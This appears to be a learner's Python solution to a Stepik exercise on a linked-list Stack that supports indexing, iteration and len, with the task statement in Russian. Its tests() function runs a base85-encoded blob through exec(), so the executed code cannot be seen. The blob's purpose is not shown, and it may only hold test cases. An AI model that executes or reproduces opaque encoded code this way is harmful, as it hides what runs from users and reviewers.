py_stepik/mod_oop/3.9_10_stack_iter.py
2024-04-22 11:45:32 +03:00

206 lines
7.4 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"""
https://stepik.org/lesson/701994/step/10?unit=702095
Вы несколько раз уже делали стек-подобную структуру, когда объекты последовательно связаны между собой:
Доведем ее функционал до конца. Для этого, по прежнему, нужно объявить классы:
Stack - для представления стека в целом;
StackObj - для представления отдельных объектов стека.
В классе Stack должны быть методы:
push_back(obj) - для добавления нового объекта obj в конец стека;
push_front(obj) - для добавления нового объекта obj в начало стека.
В каждом объекте класса Stack должен быть публичный атрибут:
top - ссылка на первый объект стека (при пустом стеке top = None).
Объекты класса StackObj создаются командой:
obj = StackObj(data)
где data - данные, хранящиеся в объекте стека (строка).
Также в каждом объекте класса StackObj должны быть публичные атрибуты:
data - ссылка на данные объекта;
next - ссылка на следующий объект стека (если его нет, то next = None).
Наконец, с объектами класса Stack должны выполняться следующие команды:
st = Stack()
st[indx] = value # замена прежних данных на новые по порядковому индексу (indx); отсчет начинается с нуля
data = st[indx] # получение данных из объекта стека по индексу
n = len(st) # получение общего числа объектов стека
for obj in st: # перебор объектов стека (с начала и до конца)
print(obj.data) # отображение данных в консоль
При работе с индексами (indx), нужно проверять их корректность. Должно быть целое число от 0 до N-1, где N - число объектов в стеке. Иначе, генерировать исключение командой:
raise IndexError('неверный индекс')
P.S. В программе нужно объявить только классы. Выводить на экран ничего не нужно.
"""
from typing import List
class StackObj:
def __init__(self, data=None):
self.__next = None
self.__data = data
@property
def data(self):
return self.__data
@data.setter
def data(self, value):
self.__data = value
def __eq__(self, other):
if hasattr(other, "data"):
return self.data == other.data
return self.data == other
def __ne__(self, other):
return not self == other
@property
def next(self):
return self.__next
@next.setter
def next(self, value):
if isinstance(value, (self.__class__, None.__class__)):
self.__next = value
@classmethod
def wrap(cls, value):
return value if isinstance(value, cls) else cls(value)
def __repr__(self):
return f"{self.__class__.__name__}({self.data!r})"
def __str__(self):
return str(self.data)
class Stack:
def __init__(self, data=None):
self.top = None
self.load(data or [])
def __iter__(self):
obj = self.top
while obj:
yield obj
obj = obj.next
@property
def bottom(self) -> StackObj:
for last in self:
...
return last
def push_back(self, value):
obj = StackObj.wrap(value)
if not self.top:
self.top = obj
else:
self.bottom.next = obj
def push_front(self, value):
obj = StackObj.wrap(value)
obj.next = self.top
self.top = obj
def pop(self) -> StackObj:
if not self.top:
return None
b, c = None, None
for a in self:
b, c = a, b
if c:
c.next = None
if b is self.top:
self.top = None
return b
def load(self, data):
for x in data:
self.push_back(x)
def __len__(self):
return sum(1 for _ in self)
def validate_index(self, idx: int):
if not isinstance(idx, int) or not 0 <= idx < len(self):
raise IndexError("неверный индекс")
def __getitem__(self, idx: int):
self.validate_index(idx)
for i, v in enumerate(self):
if idx == i:
return v.data
def __setitem__(self, idx: int, value):
self.validate_index(idx)
if idx == len(self):
self.push_back(value)
return
prev = self.top
for i, v in enumerate(self):
if idx == i:
old = v
break
prev = v
value = StackObj.wrap(value)
value.next = old.next
if idx > 0:
prev.next = value
else:
self.top = value
def get_data(self) -> List[StackObj]:
return [x for x in self]
def __str__(self):
return " -> ".join(map(str, self.get_data()))
def __repr__(self):
return f"{self.__class__.__name__}({self.get_data()!r})"
def tests():
code = (
b"b95j*AX9W<V{0fW3UhQWaCLKNUt(cnYbaB6VPk7gVrnQNF(N4`3UhQWaCLKNUuJS|ZgeP9bYWv"
+ b"_Phx5)A~GT=DGCZ<b8}^KbRctdTQFT9Jv|^IG9n;hZe$>HbXzf9AU!=GA~7N?AR^Gc(6!LA(6!Nk"
+ b"(7n-%(6u1Yx6r-Nu+fLmwa~rLxY3Uw(6rF7(7n*T(TmZAAketbw;<5I(6P~q(6!LI(Sp#v(6S)Wf"
+ b"zg7{wa~iIuq+_ZztMouxFFEJ(6P~g(6G^o(6!LL(74dJAkexX(7n*O(7YhfztFxQ(74dO(6rFC(7"
+ b"Mrq(Ssri3UhQ@FkK)$AR;g#3So0|WpZ>Nb97rUT_8O@AR;g#EFdD#ztFzWyU~NuhtRdqz0kfO(7n"
+ b"*L(6Z3A(SXps(7w>MAkeqaz0k1HhtRdqz0kPOwII;A(6=DazR<DJiqN&ty3vBruprTa(Sp#m(7Mp"
+ b"DEFjRb(7w>O(7e#T(6-RM(7r4n(7n*L(7MpR(SXr_(6!LI(Sp#u(7qtifY7kevCzKJg3z$gwb6ng"
+ b"(7(}u(74fo(6Z35(74dD(6G?G(74dGAke+gzR<GJzR<JKz97)I(7n*G(TC8r(7n*O(T^a|zR<DJi"
+ b"qN&ty3vBsgCNm?(Sp#m(7MpDA_@v-Z*m}SVrn31ZXk1XItm~lARu9Lb7gXLAZc@HZgX^DZewLAZ("
+ b"?dJAX9W<V{1=hYAGxrBGA9lfY7)g(7({N(SXpk(6P|I(SXpkAkl%*g3z_ly3nv7(TC8r(SXpk(6="
+ b"DbhS0dsy3o5I(6rFL(7VvK(7n-%AkebVzR<VOveAIhu+fRou+f6ijM0J7k08*#(6P~q(6!LI(Sp&"
+ b"7AkezdyU?)Ffzg4`upm=(VPk7gVrn7^3UqRLItm~lARu8NJs@**TQgk>Wq4y{aC9I^Ze(S6MRIa)"
+ b"aykkiARr)Nb8}^KbRbl6b!7@=Y;$Eg3LqdLAYpTJWpZ>NMqzAoWh@{f(7n*LAkl%)v(UBBz0kGMf"
+ b"Y7+nfY83sve2;5yU@PTfzga0(74fo(7MpO(T>rF(6!LL(74dGAW3dyWq3t$a&K}X"
)
exec(__import__("base64").b85decode(code))
# +
st = Stack("123")
st[1] = "x"
assert "1x3" == "".join(
map(str, st)
), "неверно отработали операторы присвоения данных по индексу и/или получение данных по индексу"
if __name__ == "__main__":
import doctest
doctest.testmod()
tests()